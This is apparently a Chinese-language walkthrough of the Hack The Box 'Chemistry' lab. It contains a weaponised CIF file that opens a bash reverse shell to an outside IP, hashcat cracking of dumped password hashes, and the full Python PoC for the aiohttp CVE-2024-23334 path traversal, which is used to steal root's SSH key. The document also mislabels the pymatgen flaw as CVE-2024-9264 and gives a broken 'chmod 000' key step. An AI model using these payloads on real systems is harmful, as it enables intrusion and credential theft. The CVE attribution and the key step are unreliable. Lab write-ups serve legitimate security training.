~ 两个人挺好,一个人也不错。 ~
靶机
靶机渗透
首页
我们去注册一个用户看看
注册admin用户的时候,提示了一句该用户已存在
那么直接sql注入字典爆破,测试有没有sql注入
清一色的1316
cookie伪造
也不行,我们注册一个普通用户进去,发现一个文件上传点
查看到是flask项目
上传任意文件,这个文件上传的方法不管用
来到刚进来的首页,看提示说能上传CIF晶体信息文件
白小羽
晶体学信息文件(Crystallographic Information File, CIF)是以“.cif”结尾的计算机文件,它包含了晶体的晶胞参数、原子坐标、文献资料等信息。各种晶体、材料计算处理软件,如Vesta,Diamond,GSAS,Mercury,Rasmal,Materials Studio等都以晶体信息文件作为输入或者输出结果。
CIF详细(看不懂):
https://blog.csdn.net/Ai_yunyun/article/details/132496026
找到一个RCE文件,这里使用的是英文,用中文的话搜不到什么东西
翻译软件
修改POC
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.47/1450 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
成功上线
创建一个交互式终端
python3 -c "import pty; pty.spawn('/bin/bash')"
查找SUID文件
查看操作系统信息
查看版本信息
查看/etc/passwd
查找根目录的隐藏文件
查找数据库中的表,sql语句中的from要区分好,不是form
有三个可能的用户,记住这三个hash,待会要用到
识别admin的hash密码,貌似是个md5加密
白小羽
hash-identifier :一款哈希算法识别工具,它能够帮助用户识别给定哈希值所使用的哈希算法。
使用密码hash破解工具,john,失败了
这里我们使用hashcat工具,进行密码碰撞
hashcat -m 0 2861debaf8d99436a10ed6f75a252abf /usr/share/wordlists/rockyou.txt # Approaching final keyspace - workload adjusted.
hashcat -m 0 197865e46b878d9e74a0346b6d59886a /usr/share/wordlists/rockyou.txt # Approaching final keyspace - workload adjusted.
hashcat -m 0 63ed86ee9f624c7b14f1d4f43dc251a5 /usr/share/wordlists/rockyou.txt # unicorniosrosados
有了第三个用户的密码可以猜测刚刚的22端口,进行ssh连接,登录成功(如果不能连的话直接在反弹的shell直接su切换用户)
找到第一个flag
检查sudo是否可以使用,列出所有可以用sudo执行的文件
查看用户进程信息
ps -aux | grep root
看到了一个正在执行的py文件
尝试访问,提示权限不足
查看靶机网络连接
使用curl查看响应
curl -I 127.0.0.1:8080
可以看到 aiohttp 3.9.1版本的漏洞信息,CVE-2024-23334
下载poc,查看其代码
import argparse
import http.client
import textwrap
import urllib
def exploit(url, file, dir):
parsed_url = urllib.parse.urlparse(url)
conn = http.client.HTTPConnection(parsed_url.netloc)
traversal = "/.."
payload = dir
for i in range(15):
payload += traversal
print(f'''[+] Attempt {i}
Payload: {payload}{file}
''')
conn.request("GET", f"{parsed_url.path}{payload}{file}")
res = conn.getresponse()
result = res.read()
print(f" Status code: {res.status}")
if res.status == 200:
print("Respose: ")
print(result.decode())
break
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="PoC for CVE-2024-23334. LFI/Path-Traversal Vulnerability in Aiohttp",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent(''' Usage:
exploit.py -u http://127.0.0.1 -f /etc/passwd -d /static
''')
)
parser.add_argument('-u', '--url', help="Aiohttp site url")
parser.add_argument('-f', '--file', help="File to read")
parser.add_argument('-d', '--directory', help="Directory with static files. Default: /static", default="/static")
args = parser.parse_args()
if args.url and args.file and args.directory:
exploit(args.url, args.file, args.directory)
print("Exploit complete")
else:
print("Error: One of the parameters is missing")
通过curl可以看到源码,并且文件的静态目录在/assets下
查看使用方法
执行读取/etc/passwd测试
python3 exp.py -u http://127.0.0.1:8080 -f /etc/passwd -d /assets
读取 ssh 密匙,指定刚刚的静态目录
python3 exp.py -u http://127.0.0.1:8080 -f /root/.ssh/id_rsa -d /assets
chmod 000 key
ssh [email protected] -i key
总结
本文主要用到的漏洞信息为
CVE-2024-9264 的RCE漏洞,在CIF文件解析的时候会被执行恶意代码,从而获取webshell
CVE-2024-23334 aiohttp 3.9.1 的目录遍历漏洞导致系统中的ssh密匙被读取,从而由普通用户的权限,上升到root权限,要么禁用密匙登录,就可以防范
用到的命令:
curl -I 127.0.0.1:8080 # 使用curl发送get请求,返回响应信息
ps -aux | grep root # 列出所有root用户的进程信息
hashcat -m 0 63ed86ee9f624c7b14f1d4f43dc251a5 /usr/share/wordlists/rockyou.txt # 使用hashcat 进行密码哈希破解,并指定字典目录
hash-identifier 63ed86ee9f624c7b14f1d4f43dc251a5 # 识别hash是由什么算法进行加密的
python -c "import pty; pty.spawn('/bin/bash')" # 创建一个交互式终端
往期推荐
【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏
原文始发于微信公众号(泷羽Sec):HTB-Chemistry靶机渗透,CVE-2024-23334系统目录遍历,导致权限提升
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论